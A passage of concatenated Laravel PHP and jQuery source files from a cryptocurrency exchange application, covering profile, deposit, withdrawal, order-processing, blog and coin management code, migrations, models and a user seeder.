App\Services\Core\UserActivityService; use Illuminate\Http\JsonResponse; use App\Http\Requests\Core\{PasswordUpdateRequest, UserAvatarRequest, UserRequest}; use App\Services\Core\ProfileService; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; use Illuminate\View\View; class ProfileController extends Controller { private $service; public function __construct(ProfileService $service) { $this->service = $service; } public function index(): View { $data = $this->service->profile(); $data['title'] = __('Profile'); return view('core.profile.index', $data); } public function edit(): View { $data = $this->service->profile(); $data['title'] = __('Edit Profile'); return view('core.profile.edit', $data); } public function update(UserRequest $request): RedirectResponse { $parameters = $request->only(['first_name', 'last_name', 'address']); if (Auth::user()->profile()->update($parameters)) { app(UserActivityService::class)->store(Auth::id(), 'update profile'); return redirect()->route('profile.edit')->with(RESPONSE_TYPE_SUCCESS, __('Profile has been updated successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to update profile.')); } public function changePassword(): View { $data = $this->service->profile(); $data['title'] = __('Change Password'); return view('core.profile.change_password', $data); } public function updatePassword(PasswordUpdateRequest $request): RedirectResponse { $response = $this->service->updatePassword($request); if ($response[RESPONSE_STATUS_KEY]){ if (app(UserActivityService::class)->store(Auth::id(), 'update password')){ Auth::logout(); return redirect()->route('login')->with(RESPONSE_TYPE_SUCCESS, $response[RESPONSE_MESSAGE_KEY]); } } return redirect()->back()->with(RESPONSE_TYPE_ERROR, $response[RESPONSE_MESSAGE_KEY]); } public function avatarUpdate(UserAvatarRequest $request): JsonResponse { $response = $this->service->avatarUpload($request); return response()->json($response); } } <file_sep><?php /** @var Factory $factory */ use App\Models\Core\UserPreference; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(UserPreference::class, function (Faker $faker) { return [ 'user_id' => $faker->uuid, 'default_language' => null, ]; }); <file_sep><?php namespace App\Models\Core; use App\Models\Coin\CoinPair; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Support\Str; class UserPreference extends Model { public $incrementing = false; public $timestamps = false; protected $keyType = 'string'; protected $fillable = ['user_id', 'default_language', 'default_coin_pair',]; protected static function boot() { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function user() { return $this->belongsTo(User::class); } public function exchange() { return $this->belongsTo(CoinPair::class, 'default_coin_pair'); } public function language() { return $this->belongsTo(Language::class, 'default_language'); } } <file_sep><?php namespace App\Http\Controllers\UserActivity; use App\Http\Controllers\Controller; use App\Models\Core\UserActivity; use App\Services\Core\DataTableService; use App\Services\Core\UserActivityService; use Illuminate\Support\Facades\Auth; use Illuminate\View\View; class UserActivityController extends Controller { public function index(): View { $data = app(UserActivityService::class)->getUserActivities(Auth::id()); $data['title'] = __('My Activities'); return view('user_activity.user.my_activity', $data); } } <file_sep><?php namespace App\Jobs\Order; use App\Broadcasts\Exchange\OrderBroadcast; use App\Models\Order\Order; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class ProcessStopLimit implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public string $coinPair; public float $price; public function __construct(string $coinPair, float $price) { $this->queue = 'stop-limit'; $this->connection = 'redis-long-running'; $this->coinPair = $coinPair; $this->price = $price; } public function handle() { $stopLimitOrders = Order::where('category', ORDER_CATEGORY_STOP_LIMIT) ->where(function ($query) { $query->where(function ($q) { $q->where('type', ORDER_TYPE_SELL) ->where('stop_limit', '>=', $this->price); })->orWhere(function ($q) { $q->where('type', ORDER_TYPE_BUY) ->where('stop_limit', '<=', $this->price); }); }) ->where('trade_pair', $this->coinPair) ->where('status', STATUS_INACTIVE); foreach ($stopLimitOrders->cursor() as $stopLimitOrder) { $stopLimitOrder->status = STATUS_PENDING; $stopLimitOrder->save(); OrderBroadcast::broadcast($stopLimitOrder); } } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateReferralEarningsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('referral_earnings', function (Blueprint $table) { $table->uuid('id')->primary(); $table->uuid('referrer_user_id'); $table->uuid('referral_user_id'); $table->string('symbol', 10); $table->decimal('amount', 19, 8)->unsigned(); $table->timestamps(); $table->index(['referrer_user_id', 'symbol']); $table->index(['referral_user_id', 'symbol']); $table->foreign('symbol') ->references('symbol') ->on('coins') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('referrer_user_id') ->references('id') ->on('users') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('referral_user_id') ->references('id') ->on('users') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('referral_earnings'); } } <file_sep>/* ------------------------------------------- ::::::: Start Flash Box ::::::: ------------------------------------------- */ "use strict"; function elementAction(id, formSubmit) { var elem = document.getElementById(id); if (elem) { if (formSubmit == 'y') { document.getElementById(id).submit(); } else { return elem.parentNode.removeChild(elem); } } } function closeMethod() { elementAction($('.flash-message').find('.flash-confirm').attr('data-form-auto-id')); $('.flash-message').removeClass('flash-message-active').remove('flash-message-window'); $('.flash-message').find('.flash-confirm').attr('href', 'javascript:;').removeAttr('data-form-id').removeAttr('data-form-auto-id'); $('.flash-message') .find('.centralize-content') .removeClass('flash-success') .removeClass('flash-error') .removeClass('flash-warning') .removeClass('flash-confirmation') .find('p') .text(''); } $(document).on('click', '.flash-close', function (e) { e.preventDefault(); closeMethod(); }); $(document).on('click', '.flash-message-window', function (e) { e.preventDefault(); closeMethod(); }); $(document).on('click', '.flash-confirm', function (e) { var $this = $(this); var dataInfo = $this.attr('data-form-id'); var autoForm = $this.attr('data-form-auto-id'); if (autoForm) { e.preventDefault(); elementAction(autoForm, 'y'); closeMethod(); } else if (dataInfo) { e.preventDefault(); $('#' + dataInfo).submit(); closeMethod(); } }); $(document).on('click', '.confirmation', function (e) { e.preventDefault(); var $this = $(this); var dataAlert = $this.attr('data-alert'); dataInfo = $this.attr('data-form-id'); if (!dataInfo) { var dataInfo = $this.attr('href'); $('.flash-message').find('.flash-confirm').attr('href', dataInfo); } else { var autoForm = $this.attr('data-form-method'); if (autoForm) { var link = $this.attr('href'); var dataToken = $('meta[name="csrf-token"]').attr('content'); autoForm = autoForm.toUpperCase(); if (autoForm == 'POST' || autoForm == 'PUT' || autoForm == 'DELETE') { var newForm = '<form id="#auto-form-generation-' + dataInfo + '" method="POST" action= "' + link + '" style="height: 0; width: 0; overflow: hidden;">'; // newForm = newForm + '<input type = "hidden" name ="_token" value = "' + dataToken + '">'; newForm = newForm + '<input type = "hidden" name ="_method" value = "' + autoForm + '">'; $('body').prepend(newForm); } $('.flash-confirm').attr('data-form-auto-id', '#auto-form-generation-' + dataInfo); } else { $('.flash-message').find('.flash-confirm').attr('data-form-id', dataInfo); } } $('.flash-message').find('.centralize-content').addClass('flash-confirmation').find('p').text(dataAlert); $('.flash-message').addClass('flash-message-active'); }); function flashBox(warnType, message) { $('.flash-message').find('.centralize-content').addClass('flash-' + warnType).find('p').html(message); $('.flash-message').addClass('flash-message-active flash-message-window'); } /* ------------------------------------------- ::::::: End Flash Box ::::::: ------------------------------------------- */ <file_sep><?php use App\Models\Core\User; use App\Models\Core\UserPreference; use App\Models\Core\UserProfile; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Hash; class UsersTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $adminUser = User::superAdmin()->first(); if (empty($adminUser)) { factory(User::class)->create([ 'assigned_role' => USER_ROLE_ADMIN, 'username' => 'superadmin', 'email' => '<EMAIL>', 'password' => <PASSWORD>('<PASSWORD>'), 'is_accessible_under_maintenance' => ACTIVE, 'is_email_verified' => VERIFIED, 'is_super_admin' => ACTIVE, 'status' => STATUS_ACTIVE, ])->each(function ($superadmin) { $superadmin->profile()->save(factory(UserProfile::class)->make()); $superadmin->preference()->save(factory(UserPreference::class)->make()); }); } factory(User::class)->create([ 'assigned_role' => USER_ROLE_ADMIN, 'username' => 'admin', 'email' => '<EMAIL>', 'password' => <PASSWORD>('<PASSWORD>'), 'is_accessible_under_maintenance' => ACTIVE, 'is_email_verified' => VERIFIED, 'is_super_admin' => INACTIVE, 'status' => STATUS_ACTIVE, ])->each(function ($admin) { $admin->profile()->save(factory(UserProfile::class)->make()); $admin->preference()->save(factory(UserPreference::class)->make()); }); factory(User::class)->create([ 'username' => 'user', 'email' => '<EMAIL>', 'password' => <PASSWORD>('<PASSWORD>'), 'is_accessible_under_maintenance' => INACTIVE, 'is_email_verified' => VERIFIED, 'is_super_admin' => INACTIVE, 'status' => STATUS_ACTIVE, ])->each(function ($user) { $user->profile()->save(factory(UserProfile::class)->make()); $user->preference()->save(factory(UserPreference::class)->make()); }); factory(User::class, 10)->create([ 'password' => <PASSWORD>('<PASSWORD>'), ])->each(function ($allUser) { $allUser->profile()->save(factory(UserProfile::class)->make()); $allUser->preference()->save(factory(UserPreference::class)->make()); }); } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateWalletDepositsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('wallet_deposits', function (Blueprint $table) { $table->uuid('id')->primary(); $table->uuid('user_id')->index(); $table->uuid('wallet_id')->index(); $table->uuid('bank_account_id')->nullable(); $table->string('symbol', 10); $table->uuid('system_bank_account_id')->nullable(); $table->string('address')->nullable(); $table->decimal('amount', 19, 8)->unsigned(); $table->decimal('system_fee', 19, 8)->default(0)->unsigned(); $table->string('txn_id')->nullable(); $table->string('api')->nullable(); $table->string('receipt', 100)->nullable(); $table->string('status', 20)->default(STATUS_PENDING)->index(); $table->timestamps(); $table->index(['user_id', 'symbol']); $table->foreign('user_id') ->references('id') ->on('users') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('wallet_id') ->references('id') ->on('wallets') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('symbol') ->references('symbol') ->on('coins') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('system_bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('wallet_deposits'); } } <file_sep><?php namespace App\Jobs\Withdrawal; use App\Models\Withdrawal\WalletWithdrawal; use App\Override\Logger; use App\Services\Withdrawal\WithdrawalService; use Exception; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class WithdrawalProcessJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public $withdrawal; public $timeout = 120; public $deleteWhenMissingModels = true; public function __construct(WalletWithdrawal $withdrawal) { $this->queue = 'withdrawal'; $this->withdrawal = $withdrawal->withoutRelations(); } public function handle() { //The process will not continue if status is not pending if ($this->withdrawal->status !== STATUS_PENDING) { return; } $withdrawalService = app(WithdrawalService::class, [$this->withdrawal]); if (!$withdrawalService->withdraw()) { $withdrawalService->cancel(); } } public function failed(Exception $exception) { Logger::error($exception, "[FAILED][WithdrawalProcessJob]"); } } <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Models\Post\Post; use App\Models\Post\PostCategory; use App\Services\Blog\GetPostCategoryService; use App\Services\Blog\GetRecentPostService; use App\Services\Core\DataTableService; use Illuminate\View\View; class BlogCategoryController extends Controller { public function index(PostCategory $postCategory): View { $data['title'] = __('Blog'); $data['posts'] = Post::where('is_published', ACTIVE) ->where('category_slug', $postCategory->slug) ->with('postCategory', 'comments') ->orderBy('id', 'desc') ->paginate(PAGINATION_ITEM_PER_PAGE); $data['recentPosts'] = app(GetRecentPostService::class)->getLastFiveActivePost(); $data['activeCategories'] = app(GetPostCategoryService::class)->getActiveCategories(); return view('posts.blog.category_posts', $data); } } <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Http\Requests\Post\CommentRequest; use App\Models\Post\Post; use App\Models\Post\PostComment; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class PostCommentController extends Controller { public function store(CommentRequest $request, Post $post): RedirectResponse { $attributes = $request->only('content'); $attributes['post_id'] = $post->id; $attributes['user_id'] = Auth::id(); if (PostComment::create($attributes)){ return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully comment added!')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_SUCCESS, __('Failed to add comment!')); } } <file_sep><?php namespace App\Http\Requests\Withdrawal; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class WithdrawalRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $wallet = $this->route('wallet'); $rules = [ 'address' => [ "required" ], 'amount' => [ "required", "numeric", "min:{$wallet->coin->minimum_withdrawal_amount}" ], 'withdrawal_policy' => [ 'accepted' ] ]; if ($wallet->coin->type === COIN_TYPE_FIAT) { $rules['api'] = ['required', Rule::in(array_keys(fiat_apis()))]; if ($this->get('api') === API_BANK) { $rules['bank_account_id'] = [ 'required', Rule::exists('bank_accounts', 'id') ->where('is_active', ACTIVE) ->where('is_verified', VERIFIED) ]; unset($rules['address']); } } return $rules; } } <file_sep><?php namespace App\Jobs\Order; use App\Models\Order\Order; use App\Services\Orders\ProcessLimitOrderService; use App\Services\Orders\ProcessMarketOrderService; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class ProcessOrderJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; private $order; public function __construct(Order $order) { $this->queue = 'exchange'; $this->order = $order->withoutRelations(); } public function handle() { //If the order status is not equal to pending then the process stop. if ($this->order->status != STATUS_PENDING) { return; } if ($this->order->category === ORDER_CATEGORY_MARKET) { app(ProcessMarketOrderService::class, [$this->order])->process(); } else { app(ProcessLimitOrderService::class, [$this->order])->process(); } } } <file_sep><?php namespace App\Models\Core; use App\Override\Eloquent\LaraframeModel as Model; class Navigation extends Model { public $incrementing = false; protected $keyType = "string"; protected $primaryKey = "slug"; protected $fillable = ['slug', 'items']; public function getItemsAttribute($value): array { return json_decode($value, true); } public function setItemsAttribute($value): void { $this->attributes['items'] = json_encode($value); } } <file_sep><?php namespace Tests\Unit\Order; use App\Models\Core\User; use App\Models\Order\Order; use App\Models\Wallet\Wallet; use Illuminate\Foundation\Testing\RefreshDatabase; use PHPUnit\Framework\TestCase; class CreateOrderUnitTest extends TestCase { use RefreshDatabase; public function testCreateOrder() { $user = factory(User::class)->create(); $this->assertNotEmpty($user); } } <file_sep><?php namespace App\Http\Controllers\Api\Webhook; use App\Http\Controllers\Controller; use App\Jobs\Webhook\ValidateBitcoinIpnJob; use Illuminate\Http\Request; class BitcoinIpnController extends Controller { public function __invoke(Request $request, $currency) { if ($request->has('txn_id') && $request->get('txn_id')) { $ipnData = $request->only('txn_id'); ValidateBitcoinIpnJob::dispatch($currency, $ipnData); } return []; } } <file_sep><?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Http\Requests\Deposit\BankReceiptUploadRequest; use App\Http\Requests\Deposit\UserDepositRequest; use App\Models\BankAccount\BankAccount; use App\Models\Deposit\WalletDeposit; use App\Models\Wallet\Wallet; use App\Services\Core\DataTableService; use App\Services\Core\FileUploadService; use App\Services\Wallet\GenerateWalletAddressImage; use Illuminate\Support\Arr; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class SystemDepositController extends Controller { public function index(Wallet $wallet): View { $wallet->load('coin'); $data['title'] = __('Deposit History'); $data['userId'] = Auth::id(); $searchFields = [ ['name', __('Name')], ['id', __('Reference ID')], ['amount', __('Amount')], ['address', __('Address')], ['txn_id', __('Transaction ID')], ['symbol', __('Wallet')], ]; $orderFields = [ ['name', __('Name')], ['created_at', __('Date')], ]; $filterFields = [ ['wallet_deposits.status', __('Category'), transaction_status()], ]; $queryBuilder = $wallet->deposits() ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); return view('deposit.admin.index', $data); } public function create(Wallet $wallet) { $data['wallet'] = $wallet; $wallet->load('coin'); $data['title'] = __('Deposit :coin', ['coin' => $wallet->symbol]); if ($wallet->coin->type === COIN_TYPE_CRYPTO) { $data['walletAddress'] = __('Deposit is currently disabled.'); if ($data['wallet']->coin->deposit_status == ACTIVE) { $wallet->getService(); if (is_null($wallet->service)) { $data['walletAddress'] = __('Unable to generate address.'); } else { $response = $wallet->service->generateAddress(); if ($response['error'] === 'ok') { $data['walletAddress'] = $response['result']['address']; $data['addressSvg'] = app(GenerateWalletAddressImage::class)->generateSvg($data['walletAddress']); } else { $data['walletAddress'] = $response['error']; } } } return view('deposit.user.wallet_address', $data); } else if ($data['wallet']->coin->type == COIN_TYPE_FIAT) { $data['apis'] = Arr::only(fiat_apis(), $wallet->coin->api['selected_apis'] ?? []); $data['bankAccounts'] = BankAccount::where('user_id', Auth::id()) ->where('is_verified', VERIFIED) ->where('is_active', ACTIVE) ->pluck('bank_name', 'id'); return view('deposit.admin.deposit_form', $data); } return view('errors.404', $data); } public function store(UserDepositRequest $request, Wallet $wallet) { $wallet->load('coin'); if ($request->get('api') === API_BANK) { $params = [ 'user_id' => Auth::id(), 'symbol' => $wallet->symbol, 'wallet_id' => $wallet->id, 'bank_account_id' => $request->get('bank_account_id'), 'amount' => $request->get('amount'), 'api' => $request->get('api'), 'status' => STATUS_COMPLETED, ]; DB::beginTransaction(); $wallet->increment('primary_balance', $request->get('amount')); $deposit = WalletDeposit::create($params); if (!$deposit) { DB::rollBack(); return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __("Invalid request.")); } DB::commit(); return redirect() ->route('admin.system-wallets.deposit.show', ['wallet' => $wallet->symbol, 'deposit' => $deposit->id]) ->with(RESPONSE_TYPE_SUCCESS, __("Deposit has been created successfully.")); } return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __("Invalid request.")); } public function show(Wallet $wallet, WalletDeposit $deposit) { $wallet->load('coin'); $deposit->load('user.profile', 'bankAccount.country'); if ($deposit->status === STATUS_PENDING && $deposit->api === API_BANK) { $systemBankIds = $wallet->coin->api['selected_banks'] ?? []; $data['systemBanks'] = BankAccount::whereIn('id', $systemBankIds)->where('is_active', ACTIVE)->with('country')->get(); } $data['wallet'] = $wallet; $data['deposit'] = $deposit; $data['title'] = __("Deposit Details"); return view('deposit.user.show', $data); } public function update(BankReceiptUploadRequest $request, Wallet $wallet, WalletDeposit $deposit) { $wallet->load('coin'); $systemBank = $request->get('system_bank_id'); $systemSupportedBanks = $wallet->coin->api['selected_banks'] ?? []; if (!in_array($systemBank, $systemSupportedBanks)) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __("Invalid system bank.")); } if ($request->hasFile('receipt')) { $filePath = config('commonconfig.path_deposit_receipt'); $receipt = app(FileUploadService::class)->upload($request->file('receipt'), $filePath, $deposit->id); } $params = ['system_bank_account_id' => $systemBank, 'receipt' => $receipt, 'status' => STATUS_REVIEWING]; if ($deposit->update($params)) { return redirect()->route('user.wallets.deposits.show', ['wallet' => $wallet->symbol, 'deposit' => $deposit->id])->with(RESPONSE_TYPE_SUCCESS, __('Receipt has been uploaded successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __("Failed to upload receipt.")); } } <file_sep><?php namespace App\Http\Requests\Coin; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class CoinRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'is_active' => [ 'required', Rule::in(array_keys(active_status())), ], 'exchange_status' => [ 'required', Rule::in(array_keys(active_status())), ], ]; if ($this->isMethod('POST')) { $rules['type'] = [ 'required', Rule::in(array_keys(coin_types())), ]; $rules['icon'] = [ 'image', 'max:1024', ]; } $rules['symbol'] = [ 'required', Rule::unique('coins')->ignore($this->route()->parameter('coin')), 'max:10' ]; $rules['name'] = [ 'required', Rule::unique('coins')->ignore($this->route()->parameter('coin')), ]; return $rules; } } <file_sep><?php namespace App\Http\Controllers\Exchange; use App\Http\Controllers\Controller; use App\Models\Order\Order; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class MyOpenOrderController extends Controller { public function __invoke(Request $request) { $getUserOpenOrders = $this->_getUserOpenOrders($request); return response()->json($getUserOpenOrders); } public function _getUserOpenOrders(Request $request) { return Order::select([ 'id as order_id', 'price', 'amount', 'exchanged', DB::raw('TRUNCATE(amount - exchanged,8) as open_amount'), DB::raw('TRUNCATE(amount * price,8) as total'), 'type as order_type', 'stop_limit', 'created_at as date' ]) ->where('user_id', auth()->id()) ->where('trade_pair', $request->coin_pair) ->whereIn('category', [ORDER_CATEGORY_LIMIT, ORDER_CATEGORY_STOP_LIMIT]) ->whereIn('status', [STATUS_PENDING, STATUS_INACTIVE]) ->latest() ->take(MY_OPEN_ORDER_PER_PAGE) ->get(); } } <file_sep><?php namespace App\Models\Core; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Str; class Role extends Model { public $incrementing = false; protected $keyType = 'string'; protected $primaryKey = 'slug'; protected $fillable = ['name', 'permissions', 'accessible_routes']; public static function boot() { parent::boot(); self::creating(static function ($model) { $model->{$model->getKeyName()} = Str::slug($model->name); }); } public function getPermissionsAttribute($value) { return json_decode($value, true); } public function setPermissionsAttribute($value): void { $this->attributes['permissions'] = json_encode($value); } public function getAccessibleRoutesAttribute($value): array { return json_decode($value, true); } public function setAccessibleRoutesAttribute($value): void { $this->attributes['accessible_routes'] = json_encode($value); } public function users(): HasMany { return $this->hasMany(User::class, 'assigned_role'); } } <file_sep><?php namespace App\Http\Controllers\CoinPair; use App\Http\Controllers\Controller; use App\Models\Coin\CoinPair; use Illuminate\Http\RedirectResponse; class ChangeAdminCoinPairStatusController extends Controller { public function change(CoinPair $coinPair): RedirectResponse { if ($coinPair->coin->is_active == INACTIVE) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('The associated trade coin is inactive.')); } if ($coinPair->baseCoin->is_active == INACTIVE) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('The associated base coin is inactive.')); } if ($coinPair->toggleStatus()) { cookie()->forget('baseCoins'); return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully coin pair status changed. Please try again.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to change status. Please try again.')); } } <file_sep><?php namespace App\Http\Controllers\Withdrawal; use App\Http\Controllers\Controller; use App\Models\Withdrawal\WalletWithdrawal; use App\Services\Core\DataTableService; use App\Services\Withdrawal\WithdrawalService; use Illuminate\Http\RedirectResponse; use Illuminate\View\View; class AdminWithdrawalHistoryController extends Controller { public function index() { $searchFields = [ ['id', __('Reference ID')], ['amount', __('Amount')], ['address', __('Address')], ['txn_id', __('Transaction ID')], ['bank_name', __('Bank'), 'bankAccount'], ['symbol', __('Wallet')], ['email', __('Email'), 'user'] ]; $orderFields = [ ['created_at', __('Date')], ['symbol', __('Wallet')], ['amount', __('Amount')], ]; $filterFields = [ ['status', __('Status'), transaction_status()], ['api', __('Payment Method'), coin_apis()], ]; $downloadableHeadings = [ ['created_at', __('Date')], ['id', __('Reference ID')], ['email', __('Email'), 'user'], ['address', __('Address')], ['bank_name', __('Bank'), 'bankAccount'], ['amount', __('Amount')], ['system_fee', __('Fee')], ['txn_id', __('Transaction ID')], ['status', __('Status')], ]; $queryBuilder = WalletWithdrawal::with('user', 'bankAccount') ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->downloadable($downloadableHeadings) ->create($queryBuilder); $data['title'] = __('Withdrawal History'); return view('withdrawal.admin.history.index', $data); } public function show(WalletWithdrawal $withdrawal): View { return app(WithdrawalService::class, [$withdrawal])->show(); } public function destroy(WalletWithdrawal $withdrawal): RedirectResponse { return app(WithdrawalService::class, [$withdrawal])->destroy(); } public function update(WalletWithdrawal $withdrawal): RedirectResponse { $response = app(WithdrawalService::class, [$withdrawal])->approve(); if ($response[RESPONSE_STATUS_KEY]) { return redirect() ->route('admin.history.withdrawals.show', $withdrawal->id) ->with(RESPONSE_TYPE_SUCCESS, $response[RESPONSE_MESSAGE_KEY]); } return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, $response[RESPONSE_MESSAGE_KEY]); } } <file_sep><?php namespace App\Services\Post; use App\Models\Post\PostCategory; class PostCategoryService { public function activeCategories(){ return PostCategory::where('is_active', ACTIVE)->get()->pluck('name', 'slug')->toArray(); } } <file_sep><?php namespace App\Models\Core; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Str; class UserActivity extends Model { public $incrementing = false; protected $primaryKey = null; protected $fillable = [ 'user_id', 'browser', 'device', 'operating_system', 'location', 'ip_address', 'note', ]; public function user(): BelongsTo { return $this->belongsTo(User::class); } } <file_sep><?php namespace App\Http\Requests\Core; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class PreferenceRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'display_language' => [ Rule::exists('languages', 'sort_code')->where('is_active', ACTIVE) ], 'default_coin_pair' => [ Rule::exists('coin_pairs', 'name')->where('is_active', ACTIVE) ] ]; } } <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Http\Requests\Coin\CoinIconRequest; use App\Models\Coin\Coin; use App\Services\Coins\CoinService; use App\Services\Core\FileUploadService; use Illuminate\Contracts\View\View; use Illuminate\Http\JsonResponse; use Illuminate\Http\RedirectResponse; class AdminCoinIconOptionController extends Controller { public function update(CoinIconRequest $request, Coin $coin): JsonResponse { $attributes = []; if ($request->hasFile('icon')) { $coinIcon = app(FileUploadService::class) ->upload($request->icon, config('commonconfig.path_coin_icon'), '', '', $coin->symbol, 'public', 300, 300, false); if ($coinIcon) { $attributes['icon'] = $coinIcon; } else { return response()->json([RESPONSE_STATUS_KEY => RESPONSE_TYPE_ERROR, RESPONSE_MESSAGE_KEY => __('Failed to update coin icon.')]); } } if ($coin->update($attributes)) { return response()->json([RESPONSE_STATUS_KEY => RESPONSE_TYPE_SUCCESS, RESPONSE_MESSAGE_KEY => __('The coin icon has been updated successfully.'), 'icon' => get_coin_icon($attributes['icon'])]); } return response()->json([RESPONSE_STATUS_KEY => RESPONSE_TYPE_ERROR, RESPONSE_MESSAGE_KEY => __('Failed to update coin icon.')]); } } <file_sep><?php namespace App\Models\Coin; use App\Jobs\CoinPair\DisableAssociatedCoinPairJob; use App\Jobs\Wallet\GenerateUsersWalletsJob; use App\Models\BankAccount\BankAccount; use App\Models\Deposit\WalletDeposit; use App\Models\Wallet\Wallet; use App\Models\Withdrawal\WalletWithdrawal; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; class Coin extends Model { public $incrementing = false; protected $primaryKey = 'symbol'; protected $keyType = 'string'; protected $fillable = [ 'symbol', 'name', 'type', 'icon', 'exchange_status', 'deposit_status', 'deposit_fee', 'deposit_fee_type', 'minimum_deposit_amount', 'total_deposit', 'total_deposit_fee', 'withdrawal_status', 'withdrawal_fee', 'withdrawal_fee_type', 'minimum_withdrawal_amount', 'daily_withdrawal_limit', 'total_withdrawal', 'total_withdrawal_fee', 'api', 'is_active', ]; protected static function boot(): void { parent::boot(); static::updated(static function ($model) { if ($model->wasChanged('is_active') && $model->is_active) { if (env('QUEUE_CONNECTION', 'sync') === 'sync') { GenerateUsersWalletsJob::dispatchNow($model); } else { GenerateUsersWalletsJob::dispatch($model); } } if ($model->wasChanged('is_active') && $model->is_active == INACTIVE) { DisableAssociatedCoinPairJob::dispatchNow($model); } }); } public function baseCoinPairs(): HasMany { return $this->hasMany(CoinPair::class, 'base_coin', 'symbol'); } public function coinPairs(): HasMany { return $this->hasMany(CoinPair::class, 'coin', 'symbol'); } public function bankAccount(): BelongsTo { return $this->belongsTo(BankAccount::class); } public function systemWallet(): HasOne { return $this->hasOne(Wallet::class, 'symbol')->where('is_system_wallet', ACTIVE); } public function getApiAttribute($value): array { return !is_null($value) ? json_decode($value, true) : []; } public function setApiAttribute($value): void { $this->attributes['api'] = json_encode($value); } public function getAssociatedApi() { if ($this->type === COIN_TYPE_CRYPTO && isset($this->api['selected_apis'])) { return app($this->api['selected_apis'], [$this->symbol]); } return null; } public function deposits() { return $this->hasMany(WalletDeposit::class, 'symbol', 'symbol'); } public function withdrawals() { return 